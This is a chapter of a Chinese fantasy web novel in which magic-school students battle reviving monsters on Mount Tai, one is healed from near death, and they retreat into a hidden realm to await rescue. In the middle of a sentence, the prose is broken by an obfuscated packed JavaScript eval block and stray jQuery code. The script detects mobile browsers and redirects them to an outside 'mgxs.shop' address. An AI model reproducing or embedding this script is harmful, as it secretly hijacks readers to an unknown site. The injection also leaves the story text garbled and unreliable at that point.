“叶中培!你想到办法了吗?学生马上就要撑不住了!”
“……北美那边说,阻止复活的最有效办法是饱和式轰炸。”
“放屁!这里是华夏的土地!爆炸过后就什么都不剩了!”
“总之现在,宋懿阳已经带人从中京出发了,我相信她会给我们一个办法。”
“……”
“现在泰山市局面的复杂程度已经超出了我们的预计,但那些都不需要你去考虑,张洪,无论最后会怎样,我都只希望你不要再后悔。”
“我明白。”
从腹部传来的疼痛,强行吸引了种彦君的注意,他紧紧靠在孟子岑的身后,一边防御纷至沓来的攻击,一边抽空掀开衣服看了一眼。
还不错,敌人的攻击只是划到了肌肉层,并没有伤到内脏。
亲人朋友的呼唤被稀释干净,他们浸泡在敌人组成的海洋里,只能将后背交给彼此。
在纷繁复杂的喊杀声与碰撞声中,种彦君却能听到身后那人的喘息声,震耳欲聋的喘息声。
孟子岑打倒了敌人,会轻呵一声,不知是在嘲讽敌人,还是在安抚自己。
孟子岑被打伤,会本能地倒吸一口气,但不会将痛苦喊出来,被旁人知晓。
在这个精神高度紧张,情绪完全抽离,甚至大脑中所有杂乱无章的想法都被捋成平行线的时刻,孟子岑这个名字在他眼中色彩鲜明的所有外在,都消亡了。
孟子岑,不再意味着抢了他家人朋友的家伙,不再意味着把他当做偶像顶礼膜拜的粉丝,不再意味着他的同学和朋友,不再意味着他隔着玻璃却无论如何都无法看清的存在。
在飞扬的尘土间,在残忍的刀刃间,在生存与死亡之间,在回忆与现实之间。
只有这个人本身的存在,震耳欲聋。
日光正盛,温热的液滴飞扬在空中,仿佛下了一场酣畅淋漓的大雨。
站在暴风眼中的两人像是巫师,对着深黑的积雨云献祭自我,引得风雷远离村落,跟着他们远赴荒野。
这样的战术效果极佳,大部分敌人都围拢在他们周围,几乎没人再攻击那些可怜的伤者,其他学生终于得以喘息。
然而,所有人都知道,那在暴风雨中央摇摇晃晃的人,已然命悬一线。
“哥!哥!快救人!我同学要死了!”
“哥!快一点!”
林雨莹的哭泣声响起,她蜷缩在肩膀伤势深可见骨的武锦辉身旁,一边对着电话那头的人哭喊,一边任由眼泪划过面颊,落在地上,落在衣服上。
“别怕,别怕,我来了,我来了。”
电话那头的声音逐渐清晰,连带着奔跑的脚步声与机械零件碰撞的声音也更加具体。
不多时,泰山云中观迎来的第一波援军,中京黑市最专业的老鼹鼠团队背着包集体跨过了燃烧着的前殿,向着被困学生的方向发起了冲锋。
半分钟过去,整个团队赶到升仙台上,距离学生只有一步之遥。
在他们的中间,横亘着几十个不断死去又不断复活的怪物。
话不多说,老鼹鼠取出望远镜开始观察敌情,剩下的人解开背包,取出零件有条不紊地进行组装。
“现在情况怎么样?”
“少爷,有两个好消息!一个是小姐看起来受伤不严重,至少比她旁边那个小伙儿强!”
“还有一个呢?”
“啊,现在所有敌人不知道为啥,全都聚在一块儿了!少爷我和您说,您选择我们团队是最正确的选择!我们团队对这种情况有极为丰富的经验!”
不顾周围的紧张局势,老鼹鼠放下望远镜,掏了根烟旁若无人地点着吸了一口,才邪笑着露出一口黄牙。
“小的们!给少爷看看咱们团队的秘密武器!”
不过五分钟,一堆不知道干什么用的零件就变成了一套长相奇形怪状,有着一个底座和一根中空管道的东西。
老鼹鼠伸出手猛地拍了拍那根管子,对着林宇杰竖起大拇指。
“手工制作,品质有保障!一炮下去,这帮玩意都得死!”
未等林宇杰发号施令,站在管道旁的刀疤脸就自顾自地开始装弹。
好几个巨大的不知道是什么材质的金属球被塞进炮管,一个贼眉鼠眼的人从裤兜里掏出说明书,开始校核弹道。
“准备!三,二,一!发射!”
引线燃烧完毕,在超高分贝的噪声与升腾而起的黑烟里,一颗被加速加速再加速的大铁球,在空中划过了无比优美的曲线,随后,径直砸在了黑衣人密度最高的战场正中央。
砰地一声,云中观的泥土地面被砸了个大坑,站在上头的人类连带着土层一起,飞向了四面八方的高空。
“少爷!怎么样!这火力杠杠的!”
“你疯啦!啊!”
电话那头,原本哭得凄凄惨惨,似小家碧玉一般垂泪的林小姐忽然像转变了人格,在几毫秒内停止了哭泣并发出刺耳的尖叫。
“你把我同学炸飞了!”
来不及犹豫,林宇杰抢过望远镜望向空中,果然看到,在天女散花般的黑衣人中间,有两个穿着特班文化衫的身影,正在朝着泰山山体飞去。
啪!砰!
在充沛的动能加持下,两个人直接拍在了同学头顶的山体之上,引得无数灰尘泥土扑簌簌向下,直呛了所有人一个措手不及。
原本已经进入休克状态,连呼吸都异常微弱的邵峰被粉尘惊得咳嗽不断,把他身旁的沈艺澜也震得略微睁开了双眼。
关晓春本能般迈开腿,想要上前查看种彦君的情况,但她跑出去几步,又硬生生刹住了车,返回去半跪在沈艺澜的身边。
“彦君!彦君你还好吗?”
“……不是,咳,很好……”
“小峰哥肚子上的伤口又撕裂了,怎么办!”
“你帮他缠一下止血带!”
饶是魔法师体质强悍,也无法做到整个人拍到山上还毫发无伤。
爆炸结束,硝烟散去,种彦君顺着石壁落到地上,只觉得浑身火辣辣地疼,膝盖手肘全都破了口子。
好在他还能踉跄着站起,就说明这套骨头架子还保持了结构完好。
“你别动!”但下一秒,陈连生的脚步声由远及近,医者不由分说地将他的所有动作控制住,脸上紧张之色不似作假。
“你状况不对!有可能是内出血!”
同样是撞击伤,不知为何,孟子岑的情况却要比种彦君好很多,他半是跑半是爬地来到了种彦君身边,沾了一身的泥土。
与他一起跑来的还有林雨莹。先前她一直待在武锦辉身旁恢复体力,这时候还没有完全恢复,虽然跑得很快,但依然有些头重脚轻。
她不由分说地挤开孟子岑,蹲下查看种彦君的伤势,她脸上刚刚挂着的泪水已然消散干净,眼瞳中呈现出一种诡异的空茫。
下一秒,她开口,语气中没有丝毫的情绪波动,仿佛刚刚一切的哭泣与怒骂都是梦中泡影。
“现在怎么办?有什么我能帮忙的?”
“他现在的情况,需要立刻送医院,或者你们谁用辅助魔法帮他治疗?”
目前,同学们的辅助魔法课都只学了三堂课,其中一堂课还被夏宇晨浪费了,在这么短的时间里,的确有人摸到了一点门道,但大多数人还处于未入门的状态。
而另一边,四名教师已经伤了一人,还有三人要抵抗从地上爬起的敌人,没人能够从前线退下,回来抢救受伤的学生。
“我,我试试!”
被爆炸波及得灰头土脸的高宇宁从前线返回,她一边往种彦君的方向跑,一边按照她对辅助魔法的理解,尽可能地治愈种彦君体内的伤势。
从她体内流淌出的魔力划过空气,与种彦君体内的魔力对接。
她的额头渗出汗水,弯下腰低下头,几乎是跪伏在种彦君的身侧,将魔力链接的距离尽可能缩短。
“不对,不对,为什么,为什么……”
虽说同样被划入辅助魔法这个领域,但潇湘高家的家学与泰山夏家的完全不同,前者要做的是激发他人体内的魔力,短时间内增强他人实力,而后者则是控制魔力修复伤口,帮助伤者恢复生机。
两者的底层逻辑全然不同,甚至,对高宇宁来说,她曾经认真学过的所有促进魔力翻涌的本事,此刻都可能要了种彦君的命。
不知是哪个环节出了问题,治疗过程才刚刚开始,种彦君就猛地喷出了一大口鲜血,染红了距他最近的高宇宁的前襟。
“彦君!”
“怎么会?不,不是这样的……”
“宇宁你先去前边,这里由我来看着!”
高宇宁踉跄着向后退了两步,看着倪裳从前线归来,用颤抖的双手触碰种彦君的身躯。
她接收到的最后一个指令是要她重新回去战斗,但她此刻已经无法思考,只是凭着本能,脱力地半跪在地上。
“不要死,求求你不要死……”
与情绪崩溃的高宇宁相比,倪裳反而看起来冷静得过分。她低头看着已经意识恍惚的哥哥,只觉得一阵巨大的荒谬感和不真实感升腾而起。
从七岁到十八岁,从小学到中学再到大学,这家伙一直都强得可怕又聪明得惊人,在她的记忆里,这个世界上就没有哥哥做不到的事。
“种彦君?哥?你不要睡……”
妹妹的声音越来越远,直至听不清楚。此刻,种彦君只觉得眼皮无比沉重,眼前的一切都变得光怪陆离,记忆与血腥气一同上涌,他忽然想要伸出手去抓住什么。
在一只布满茧子的手握住他的手时,一道清新又洁净的魔力缓慢流淌而来。
那道力量源于更远的方向。它翻山越岭,以轻柔的姿态和坚决的步伐,行过了激烈的战场与焦急的学生,精准地扎根在了种彦君的周身经脉之上。
魔力缓缓流淌,与他体内的魔力共振,它们游走在皮肤肌肉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871949|212308||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
与骨骼之中,沿着血液与组织液,穿梭在每一个细胞之间,修复他身体中最隐秘的那些伤痕。
治愈的力量盖过了尘泥与硝烟,仿佛植物扎根大地,温柔地将贫瘠的土地拨乱反正。
或许是五秒钟,又或许是五分钟过去,伤痕消弭,生机重现,种彦君缓慢地睁开双眼,他的呼吸中再不复那血腥的死亡气息。
魔力悬浮,站在种彦君身边的陈连生,立刻意识到了这力量的来源。
在半个月前,在他因为枪伤躺在寝室里时,这样的力量每天都会包裹着他。
而其他同学,也在短暂的愣怔后,反应了过来。
值此生死攸关之际,中京大学特班47级的最后一名学生,穿过火海,只身赴险,来到了他们的身边。
“启云哥!”
“夏启云!哥!你是我永远的哥!”
“哥!我爱你!我爱你哥!”
此刻,在阳光下,在劲风中,夏启云穿着划破了的裤子,披着被鲜血和泥土污染的衣服,头发散乱,灰头土脸。
他顾不上自己膝盖上流着血的伤口,只不断地使用魔法,帮助同学治疗伤口。
如春风般富有生机的魔力,覆盖在了每个人的身躯之上。
维持这样大范围的辅助魔法并不容易,但,同时以强悍实力与清贵风度闻名魔法界的夏家大少爷,的确有这个本事。
很快,受伤最重的几人情况稳定下来,受了严重内伤的种彦君也渐渐恢复,逃离了那条生死线。
他的天赋很高,对魔力也极为易感,在夏启云的范围魔法治疗下,他只觉得身心全部焕然一新。
松了一大口气后,特班的学生们才注意到了一个细节。徐盈盈睁大了眼睛,瞳孔巨震,对着孟子岑大声喊道。
“你,你把泰山给砸裂缝了!”
众人回头,只见,原本浑然天成,一片完整绝壁立于人前的泰山石壁,此时竟露出了一道缝隙。
在石壁上,孟子岑砸出来的凹坑历历在目,正好被那道黑暗缝隙分成两半,仿佛,这道缝隙便是从这个弹孔延展开来。
一瞬间,所有人的视线都定格在了孟子岑身上,就连孟子岑自己,也罕见地露出了惊愕迷茫的眼神。
但,只过了不到五秒,他就好似知道了什么真相一样,眼神中的震惊化作笃定。
“我明白了,我之前查过相关的史料。据武林传说,天命曾祝福过泰山,泰山因此孕育秘境,存留天命秘宝,想来,这里就是传说中的秘境!”
他说得慷慨激昂,虽然听上去令人难以置信,但被砸开的山体已在眼前,而仅存的几个道士,也没有提出任何异议。
当然,生死攸关之时,谁都没考虑那天命秘宝的事。
张洪缓慢后退,看着那些被炮弹炸得断手断脚裂成几块的人体,挣扎着边蠕动边复活,脑海中不断构思着战术。
他回过头,看向那道狭窄仅容两人并排的缝隙,心中忽然有了主意。
“阮老师李老师,你们先进秘境探查情况!学生们跟在后头!”
“利用地形,我们能更轻松地等待救援!”
可能是热武器能够抑制敌人的复活过程,也可能纯粹是因为它们被炸成了碎片,需要更多时间缝合,总之,一发炮弹差点把种彦君送上西天,却也给了特班师生更多的喘息时间。
孟子岑第一个冲进秘境,他抢在两名老师之前,深入了黑暗深邃的密道。
金泽玥则搬动着金泽清与罗明轩,跟在老师后头撤入泰山山体。
有人背着扛着受伤的同学,有人紧张地探查着秘境四周,有人与伙伴蜷缩在一起,而夏启云,也将魔力更多地集中在了秘境之中。
在狭窄的黑暗的空间中,种彦君与倪裳紧紧靠在一起,一个调理着伤势,另一个恢复着力量。
“哥,出了这么大的事,妈妈肯定要过来了,爸爸会过来吗?”
“爸爸应该不会,他不能离开南疆。”
“嗯,我好想妈妈,也好想爸爸。”
“没关系,我们肯定能从这里出去的,我们打电话给他们,我……也好想爸妈。”
根据李文秀的观察,这所谓秘境的外层结构是一条长约百米的狭窄通道,完全可以塞得下特班的所有师生,只需要张洪一人堵在入口,就可以隔离外界的所有攻击。
无论那些东西复活与否,都只能堵在入口,再无法攻击密道内的学生。
外头的炮击声如钝器一般,击打在每个人的心脏上,有人终于安定下来,便一个电话拨给爸妈或者其他家人。
直到两分钟后,轰隆隆的响声从密道深处传出,与密道之外的喇叭喊声混杂在一起。
“中京大学的同学们!我们是华夏异常调查局中京总局特别调查组!接下来我们会进行强攻,请各位保持冷静,稍安勿躁!”
“第二小组注意营救学生,第一和第三小组随我一起冲锋!让这帮死不了的怪物,看看外勤部的厉害!”